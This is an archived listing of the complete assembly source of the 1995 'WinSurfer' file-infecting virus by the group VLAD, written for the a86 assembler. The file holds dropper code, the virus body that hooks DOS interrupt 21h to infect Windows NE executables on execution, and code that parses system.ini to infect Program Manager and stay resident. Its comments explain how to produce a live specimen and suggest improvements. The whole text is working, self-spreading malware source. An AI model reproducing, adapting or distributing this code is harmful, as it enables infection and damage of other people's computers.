home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CCTX0497.ZIP / WVUPDAT5.ZIP / WINSURFR.ZIP / WINSURFR.A86 next >
Text File  |  1995-04-25  |  21KB  |  655 lines

  1.  
  2. ;-------------------------------------------------------------------------
  3. ;
  4. ;       WinSurfer Virus (c) 1995 VLAD incorporated.
  5. ;               Written by qark and quantum.
  6. ;
  7. ;  This virus is a parasitic TSR infector of NewEXE files.  It works in 
  8. ;  protected mode only and infects on file execute.
  9. ;
  10. ;  The executable infection code is by qark, while the interrupt handler
  11. ;  code is by quantum.
  12. ;
  13. ;  This virus contains no stealth of any form, a simple readonly attribute
  14. ;  will stop the virus from writing, the time/date stamp is not preserved
  15. ;  and there is no encryption of any form.  Windows users are too dumb to
  16. ;  notice anyway.
  17. ;
  18. ;  To obtain a specimen of the virus, copy the compiled com file into the
  19. ;  same directory as the file WINMINE.EXE and run it.  Go into Windows
  20. ;  and run the game 'Minesweeper'.  Minesweeper should infect program
  21. ;  manager direct action, so that next time windows is booted the virus
  22. ;  will be resident.
  23. ;
  24. ;  Possible Bugs and Improvements:
  25. ;   1) An error may be that if the file isn't exactly shift alignment sized
  26. ;   the virus will overwrite some data at the end of the file or be
  27. ;   incorrectly pointed.
  28. ;   2) An error may occur if the end of the segment table is less than eight
  29. ;   bytes from a 512 byte divisor.
  30. ;   3) It may be possible to allocate buffer space without adding to virus
  31. ;   size by changing the segment memory size in the segment table. At the
  32. ;   moment the virus size is being doubled by the 512 byte read buffer we
  33. ;   include in the disk image.
  34. ;
  35. ;  Although the final virus was coded completely by quantum and I, many
  36. ;  people helped by offering ideas, and windows documentation so I
  37. ;  must give thanks to the following people:
  38. ;  Screaming Radish, Stalker X, Dreadlord and some scandinavian dude.
  39. ;  The most important help came from Malware who taught me the relocation
  40. ;  entry ffff trick.
  41. ;
  42. ;  Assemble with a86.
  43. ;-------------------------------------------------------------------------
  44.  
  45.  
  46. ;--Directly below is dropper code, ignore it, page down to the virus code--
  47.  
  48.         mov     ax,3d02h
  49.         mov     dx,offset fname
  50.         int     21h
  51.         xchg    bx,ax
  52.         
  53.         mov     ah,3fh
  54.         mov     cx,512
  55.         mov     dx,offset buffer
  56.         int     21h
  57.  
  58.         mov     si,offset buffer
  59.         cmp     word ptr [si+3ch],400h
  60.         je      ok_dropper
  61.         int     20h
  62. ok_dropper:
  63.         mov     ax,word ptr [si+2]
  64.         mov     word ptr ppage,ax
  65.         mov     ax,word ptr [si+4]
  66.         mov     word ptr pfile,ax
  67.  
  68.         mov     ax,4200h
  69.         xor     cx,cx
  70.         cwd
  71.         int     21h
  72.  
  73.         mov     ah,40h
  74.         mov     cx,offset setsp - offset header
  75.         mov     dx,offset header
  76.         int     21h
  77.  
  78.         mov     ax,4200h
  79.         xor     cx,cx
  80.         mov     dx,word ptr [si+3ch]
  81.         int     21h
  82.  
  83.         mov     ah,3fh
  84.         mov     cx,512
  85.         mov     dx,offset buffer
  86.         int     21h
  87.  
  88.         mov     ax,word ptr [si+1ch]
  89.         inc     word ptr [si+1ch]       ;increase segment count
  90.         mov     cl,8
  91.         mul     cl
  92.         
  93.         mov     di,word ptr [si+22h]
  94.         add     di,si
  95.         add     di,ax
  96.  
  97.         mov     ax,4202h
  98.         xor     cx,cx
  99.         cwd
  100.         int     21h
  101.         
  102.         ;write in the new segment into the table
  103.         
  104.         mov     cl,byte ptr [si+32h]
  105.         push    bx
  106.         mov     bx,1
  107.         shl     bx,cl
  108.         mov     cx,bx
  109.         pop     bx
  110.         div     cx
  111.  
  112.         mov     word ptr [di],ax
  113.         mov     word ptr [di+2],winend-win_entry
  114.         mov     word ptr [di+4],180h
  115.         mov     word ptr [di+6],winend-win_entry
  116.  
  117.         mov     ax,word ptr [si+14h]
  118.         mov     word ptr winip2,ax
  119.  
  120.         mov     word ptr [si+14h],0
  121.  
  122.         mov     ax,word ptr [si+16h]
  123.         mov     word ptr wincs2,ax
  124.         mov     ax,word ptr [si+1ch]    ;new cs:ip
  125.         mov     word ptr [si+16h],ax
  126.  
  127.         mov     ah,40h
  128.         mov     cx,winend-win_entry + 20h
  129.         mov     dx,offset win_entry
  130.         int     21h
  131.  
  132.         add     word ptr [si+4],512
  133.  
  134.         add     word ptr [si+24h],512
  135.         add     word ptr [si+26h],512
  136.         add     word ptr [si+28h],512
  137.         add     word ptr [si+2ah],512
  138.  
  139.         mov     dx,512
  140.         mov     ax,4200h
  141.         xor     cx,cx
  142.         int     21h
  143.         
  144.         mov     ah,40h
  145.         mov     cx,512
  146.         mov     dx,offset buffer
  147.         int     21h
  148.         
  149.         mov     ah,3eh
  150.         int     21h
  151.  
  152.         int     20h
  153.  
  154. ;--The New Windows DOS stub--
  155. header  db      'MZ'
  156. ppage   dw      0       ;part page
  157. pfile   dw      0       ;file/512
  158.         dw      0       ;relocation items
  159.         dw      10h     ;header size/16
  160.         dw      0       ;minmem
  161.         dw      -1      ;maxmem
  162.         dw      0       ;SS
  163.         dw      offset setsp - offset winstart ;SP
  164.         dw      0       ;checksum
  165.         dw      0       ;IP
  166.         dw      0       ;CS
  167.         dw      40h     ;Relocation offset
  168.         dupsize1        equ 3ch - ($-offset header)
  169.         db      dupsize1 dup (0)
  170.         dw      200h    ;NE offset
  171.         dupsize2        equ 100h - ($-offset header)
  172.         db      dupsize2 dup (0)
  173. winstart:
  174.         call    windowsmsg
  175.         db      'This program requires Microsoft Windows.',0dh,0ah,'$'
  176. windowsmsg:
  177.         pop     dx
  178.         push    cs
  179.         pop     ds
  180.         mov     ah,9
  181.         int     21h
  182.         mov     ax,4c01h
  183.         int     21h
  184.         db      100 dup (0)
  185. setsp:
  186. ;---end of fake dropper dos stub--
  187.  
  188. fname   db      'winmine.exe',0
  189.  
  190.  
  191. ;----Start of the Virus---All the above is the dropper code, ignore it-------
  192.  
  193. win_entry:                      ;Infected windows executables start here.
  194.         jmp     realenter
  195.  
  196. int21start:                             ;Virus Int21 handler
  197.  
  198.         cmp     ax,1894h                ;Residency test ?
  199.         jnz     nottest
  200.         mov     cx,1234h
  201.         iret
  202. nottest:
  203.  
  204.         pusha
  205.         push    ds
  206.         push    es
  207.  
  208.         cmp     ah,4bh                  ;Windows is so dumb it uses DOS to
  209.                                         ;execute.
  210.         jnz     return2int
  211.         call    executing
  212.  
  213. return2int:
  214.  
  215.         pop     es
  216.         pop     ds
  217.         popa
  218.  
  219.         db      0eah
  220. oldint21        dw      0,0
  221.  
  222. executing:
  223.         
  224.         mov     ax,3d02h                ;Open file in DS:DX
  225.         int     21h
  226.         jnc     ok_open
  227.         ret
  228. ok_open:
  229.         push    ax
  230.         mov     ax,0ah                  ;This function makes our CS writable.
  231.         push    cs
  232.         pop     bx
  233.         int     31h
  234.         push    ax
  235.         pop     ds
  236.         pop     bx
  237.  
  238.         mov     ah,3fh                  ;Read first 512 bytes of EXE header.
  239.         mov     cx,512
  240.         mov     dx,offset buffer-offset win_entry
  241.         int     21h
  242.  
  243.         mov     si,offset buffer-offset win_entry
  244.  
  245.         cmp     word ptr [si],'ZM'      ;Not a COM file.
  246.         jne     bad_open
  247.         cmp     word ptr [si+18h],40h           ;40h+ for NE exe's
  248.         jb      bad_open
  249.         cmp     word ptr [si+3ch],400h          ;header will be below if
  250.         je      fileisoktoinfect                ;already infected...
  251. bad_open:
  252.         jmp     fileisunsuitable
  253.  
  254. fileisoktoinfect:
  255.         sub     word ptr [si+3ch],8     ;Change NE pointer.
  256.         sub     word ptr [si+10h],8     ;Incase stack is end of header
  257.          
  258.         mov     ax,4200h                ;Lseek right back to the start.
  259.         xor     cx,cx
  260.         cwd
  261.         int     21h
  262.  
  263.         mov     ah,40h                  ;Rewrite the modified DOS header.
  264.         mov     cx,512
  265.         mov     dx,offset buffer - offset win_entry
  266.         int     21h
  267.         jc      bad_open                ;Write fail.. outta here!
  268.  
  269.         mov     ax,4200h                ;Lseek to NE header.
  270.         xor     cx,cx
  271.         mov     dx,400h
  272.         int     21h
  273.  
  274.         mov     ah,3fh                  ;Read in first 512 bytes.
  275.         mov     cx,512
  276.         mov     dx,offset buffer - offset win_entry
  277.         int     21h
  278.  
  279.         ;Adjust header offsets.  Any tables behind the segment table will 
  280.         ;have their offset increased by eight because we are inserting a new
  281.         ;eight byte segment entry.
  282.  
  283.         mov     ax,word ptr [si+22h]    ;AX=Segment table offset.
  284.         cmp     word ptr [si+4],ax
  285.         jb      ok_et
  286.         add     word ptr [si+4],8
  287. ok_et:
  288.         cmp     word ptr [si+24h],ax
  289.         jb      ok_rt
  290.         add     word ptr [si+24h],8
  291. ok_rt:
  292.         cmp     word ptr [si+26h],ax
  293.         jb      ok_rnt
  294.         add     word ptr [si+26h],8
  295. ok_rnt:
  296.         cmp     word ptr [si+28h],ax
  297.         jb      ok_mrt
  298.         add     word ptr [si+28h],8
  299. ok_mrt:
  300.         cmp     word ptr [si+2ah],ax
  301.         jb      ok_int
  302.         add     word ptr [si+2ah],8
  303. ok_int:
  304.         
  305.         mov     ax,word ptr [si+1ch]
  306.         inc     word ptr [si+1ch]       ;Increase segment count.
  307.         mov     cl,8                    ;Assume less than 256 segments.
  308.         mul     cl
  309.  
  310.         add     ax,word ptr [si+22h]    ;AX=Size of segment table.
  311.         xor     dx,dx                   ;High order division value.
  312.         mov     cx,512                  ;512 byte portions are used
  313.                                         ; for the reads later on.
  314.         div     cx
  315.  
  316.         mov     word ptr [offset ne_size-offset win_entry],ax 
  317.                                         ;How much we'll have to read.
  318.         mov     word ptr [offset last_ne-offset win_entry],dx
  319.                                         ;Where the end of the segment table
  320.                                         ; will be when we read it into the
  321.                                         ; buffer. (The last buffer)
  322.  
  323.         ;Put the original CS:IP into our relocation table.
  324.         push    word ptr [si+14h]
  325.         pop     word ptr [offset newwinip2 - offset win_entry]
  326.         push    word ptr [si+16h]
  327.         pop     word ptr [offset newwincs2 - offset win_entry]
  328.  
  329.         ;Save the alignment shift count because we need that for calculating
  330.         ;the offset of our segment when writing the segment entry.
  331.         push    word ptr [si+32h]
  332.         pop     word ptr [offset al_shift - offset win_entry]
  333.  
  334.         ;Point CS:IP to the virus.
  335.         mov     word ptr [si+14h],0     ;The new IP
  336.         mov     ax,word ptr [si+1ch]
  337.         mov     word ptr [si+16h],ax    ;The new CS
  338.  
  339.         ;Initialise the lseek variable
  340.         mov     word ptr [offset lseek-offset win_entry],400h
  341.  
  342.         ;The below code gets the NE header and keeps moving it forward by
  343.         ;eight bytes in 512 byte chunks.
  344. move_header_forward:        
  345.         mov     ax,word ptr [offset ne_size-offset win_entry]
  346.         or      ax,ax
  347.         jz      last_page
  348.  
  349.         dec     word ptr [offset ne_size-offset win_entry]
  350.  
  351.         mov     ax,4200h                ;Lseek to our current position.
  352.         xor     cx,cx
  353.         mov     dx,word ptr [offset lseek-offset win_entry]
  354.         sub     dx,8
  355.         int     21h
  356.         
  357.         mov     ah,40h                  ;Write the header section out.
  358.         mov     cx,512
  359.         mov     dx,si
  360.         int     21h
  361.         
  362.                                         ;Advance the pointer by 512.
  363.         add     word ptr [offset lseek-offset win_entry],512
  364.         
  365.         mov     ax,4200h                ;Lseek to the next chunk.
  366.         xor     cx,cx
  367.         mov     dx,word ptr [offset lseek-offset win_entry]
  368.         int     21h
  369.  
  370.         mov     ah,3fh                  ;Read it.
  371.         mov     dx,offset buffer - offset win_entry
  372.         mov     cx,512
  373.         int     21h
  374.  
  375.         jmp     move_header_forward
  376.  
  377. last_page:
  378.         mov     ax,4202h                ;Lseek to end of file.
  379.         xor     cx,cx
  380.         cwd
  381.         int     21h                     ;File length into DX:AX
  382.  
  383.         ;DX:AX=File offset of our segment
  384.         ;Below section shifts the segment offset right by the alignment
  385.         ;shift value.
  386.         mov     cl,byte ptr [offset al_shift - offset win_entry]
  387.         push    bx
  388.         mov     bx,1
  389.         shl     bx,cl
  390.         mov     cx,bx
  391.         pop     bx
  392.         div     cx
  393.  
  394.         mov     di,si
  395.         add     di,word ptr [offset last_ne-offset win_entry]
  396.  
  397.         ;Adding the new segment table entry
  398.         mov     word ptr [di],ax        ;Segment offset
  399.         mov     word ptr [di+2],offset winend-offset win_entry
  400.         mov     word ptr [di+4],180h    ;Segment attribute
  401.                                         ; 180h = NonMovable + Relocations
  402.         mov     word ptr [di+6],offset winend-offset win_entry
  403.         
  404.         mov     ax,4200h        ;Lseek to next position.
  405.         xor     cx,cx
  406.         mov     dx,word ptr [offset lseek-offset win_entry]
  407.         sub     dx,8
  408.         int     21h
  409.         
  410.         mov     ah,40h          ;Write rest of NE header + new seg entry.
  411.         mov     cx,word ptr [offset last_ne-offset win_entry]
  412.         add     cx,8            ;Added segment entry means eight more.
  413.         mov     dx,offset buffer - offset win_entry
  414.         int     21h
  415.  
  416.         ;Reset the relocatable pointer.
  417.         push    word ptr [offset winip - offset win_entry]
  418.         push    word ptr [offset wincs - offset win_entry]
  419.         mov     word ptr [offset winip - offset win_entry],0
  420.         mov     word ptr [offset wincs - offset win_entry],0ffffh
  421.  
  422.         mov     ax,4202h        ;Lseek to end of file.
  423.         xor     cx,cx
  424.         cwd
  425.         int     21h
  426.         
  427.         mov     ah,40h          ;Write main virus body.
  428.         mov     cx,offset winend-offset win_entry
  429.         xor     dx,dx
  430.         int     21h
  431.  
  432.         pop     word ptr [offset wincs - offset win_entry]
  433.         pop     word ptr [offset winip - offset win_entry]
  434.  
  435.         mov     ah,40h          ;Write the relocation item.
  436.         mov     cx,offset winend-offset relocblk
  437.         mov     dx,offset relocblk-offset win_entry
  438.         int     21h
  439.  
  440. fileisunsuitable:
  441.         
  442.         mov     ah,3eh          ;Close file.
  443.         int     21h
  444.  
  445.         ret
  446.  
  447.         prefix          db      'hell='
  448.         windir          db      'indir='
  449.         systemfile      db      'system.ini',0
  450.         NE_Size         dw      0
  451.         Last_NE         dw      0
  452.         Al_Shift        dw      0
  453.         LSeek           dw      0
  454.         progman         db      0       ;1=Program Manager
  455.         envir           dw      0       ;environment segment
  456.         pathbuff        db      142 dup (0)
  457. realenter:
  458.  
  459.         pusha
  460.         push    si
  461.         push    di
  462.         push    ds
  463.         push    es
  464.         
  465.         mov     ax,1686h                    ;Is DPMI available ?
  466.         int     2fh
  467.         or      ax,ax
  468.         jz      dpmifound
  469. no_dpmi:
  470.         jmp     alreadyinmem
  471. dpmifound:
  472.         mov     ax,000ah                    ;Make CS writable.
  473.         push    cs                          ;Protected mode isn't protected.
  474.         pop     bx
  475.         int     31h                         ;Use DPMI.
  476.         push    ax
  477.         pop     ds
  478.  
  479.         xor     cx,cx                       ;Check if resident.
  480.         mov     ax,1894h
  481.         int     21h
  482.  
  483.         cmp     cx,1234h                    ;Must be resident..
  484.         jz      no_dpmi
  485.  
  486.         cmp     byte ptr [offset progman - offset win_entry],1
  487.         jne     direct_progman
  488.  
  489.         mov     byte ptr [offset progman - offset win_entry],0
  490.         
  491.         ;Can't go TSR off any program but program manager.
  492.         mov     ax,0204h                    ;Get real mode interrupt vector.
  493.         mov     bl,21h
  494.         int     31h
  495.  
  496.         mov     ds:[offset oldint21 - win_entry],dx
  497.         mov     ds:[offset oldint21 - win_entry + 2],cx
  498.  
  499.         push    cs
  500.         pop     cx
  501.         mov     dx,offset int21start-win_entry
  502.         mov     ax,0205h
  503.         mov     bl,21h
  504.         int     31h                         ;Set real mode interrupt vector.
  505.         jmp     alreadyinmem
  506.  
  507. direct_progman:
  508.         ;Next portion of code searches for the environment variable
  509.         ;'windir' and places that before the files we access.
  510.         
  511.         ;On entry ES=PSP
  512.  
  513.         mov     ax,word ptr es:[2ch]    ;PSP:[2ch]=Environment segment.
  514.         
  515.         cld
  516.         
  517.         mov     es,ax
  518.  
  519.         mov     al,'w'                  ;w from windir
  520.         mov     cx,-1
  521.         xor     di,di
  522.         mov     dx,di
  523. dir_loop:
  524.         mov     di,dx
  525.         repnz   scasb
  526.         mov     dx,di
  527.         mov     si,offset windir-win_entry
  528.         push    cx
  529.         mov     cx,6
  530.         repe    cmpsb                   ;indir from windir
  531.         pop     cx
  532.         jne     dir_loop
  533.         mov     si,di
  534.         mov     ax,ds
  535.         push    es
  536.         pop     ds
  537.         mov     es,ax
  538.         mov     cx,128
  539.         mov     di,offset pathbuff-win_entry
  540.         rep     movsb                   ;Move it into our path buffer.
  541.         push    es
  542.         pop     ds
  543.  
  544.         mov     di,offset pathbuff-win_entry
  545.         mov     al,0
  546.         mov     cx,128
  547.         repnz   scasb
  548.         mov     byte ptr es:[di-1],'\'          ;Add a slash behind the path.
  549.         mov     si,offset systemfile -offset win_entry
  550.         mov     cx,11
  551.         rep     movsb
  552.  
  553.         ;The below code reads in the 'system.ini' file and searches for
  554.         ;the 'shell=' value, and infects the program specified by it.
  555.         ;The windows shell (eg program manager) is always active in memory
  556.         ;and we use it to go resident off.
  557.  
  558.         mov     ax,3d02h
  559.         mov     dx,offset pathbuff -offset win_entry
  560.         int     21h
  561.  
  562.         jc      alreadyinmem
  563.         xchg    bx,ax
  564.  
  565.         mov     ah,3fh
  566.         mov     cx,512
  567.         mov     dx,offset buffer -offset win_entry
  568.         int     21h
  569.  
  570.         mov     ah,3eh
  571.         int     21h
  572.  
  573.         push    ds
  574.         pop     es
  575.  
  576.         mov     di,offset buffer-offset win_entry
  577.         mov     dx,di
  578.  
  579.         cld
  580.         mov     cx,512
  581. shell_loop:
  582.         mov     di,dx
  583.         mov     al,'s'                  ;The 's' in 'shell='
  584.         repne   scasb
  585.         jne     alreadyinmem
  586.         mov     dx,di
  587.  
  588.         mov     si,offset prefix -offset win_entry ;Test for 'hell='
  589.         push    cx
  590.         mov     cx,5
  591.         repe    cmpsb
  592.         pop     cx
  593.         jne     shell_loop
  594.         mov     si,di                   ;Offset of filename into DX.
  595.  
  596.         mov     al,'.'                  ;The dot in the filename extension.
  597.         mov     cl,0ffh
  598.         repne   scasb
  599.         add     di,3                    ;Point to past the filename.
  600.         mov     byte ptr es:[di],0      ;Add a zero to make it asciiz.
  601.  
  602.         mov     di,offset pathbuff-win_entry
  603.         mov     al,0
  604.         mov     cx,128
  605.         repnz   scasb                   ;Search for the 0 at the path end.
  606.         dec     di
  607.         mov     al,'\'                  ;Now find the last backslash.
  608.         mov     cx,128
  609.         std                             ;Scan backwards.
  610.         repnz   scasb
  611.         cld
  612.         inc     di                      ;DI points behind the final '\'
  613.         inc     di
  614.         mov     cx,15
  615.         rep     movsb                   ;Append the shell program name.
  616.         mov     dx,offset pathbuff-win_entry
  617.  
  618.         mov     byte ptr [offset progman - offset win_entry],1
  619.         call    executing
  620.         mov     byte ptr [offset progman - offset win_entry],0
  621.  
  622. alreadyinmem:
  623.  
  624.         pop     es
  625.         pop     ds
  626.         pop     di
  627.         pop     si
  628.         popa
  629.  
  630.         db      0eah                    ;JMP FAR PTR xxxx:xxxx
  631. winip   dw      0
  632. wincs   dw      0ffffh                  ;Needs to be FFFF due to windows
  633.                                         ; relocation item format.
  634. buffer  db      512 dup (0)
  635.  
  636. ;Below is the relocation item format.  What ours does is turn the far jump
  637. ; above us into a jump to the original CS:IP.
  638. relocblk        dw      1               ;Signal only one relocation item.
  639.                 db      3               ;32 bit pointer relocation.
  640.                 db      4               ;Additive relocation (unsure, but
  641.                                         ; it doesnt work unless you put this)
  642.                 dw      offset winip-offset win_entry ;Relocation offset.
  643. newwincs2       dw      0               ;Target of the relocation. (We use
  644. newwinip2       dw      0               ; the original host CS:IP)
  645.  
  646. winend:                         ;The actual virus ends here.
  647. ;-----End of the Virus---Below is dropper code-----------------------------
  648.         dw      1
  649.         db      3
  650.         db      4
  651.         dw      offset winip - offset win_entry
  652. wincs2  dw      0
  653. winip2  dw      0
  654.  
  655.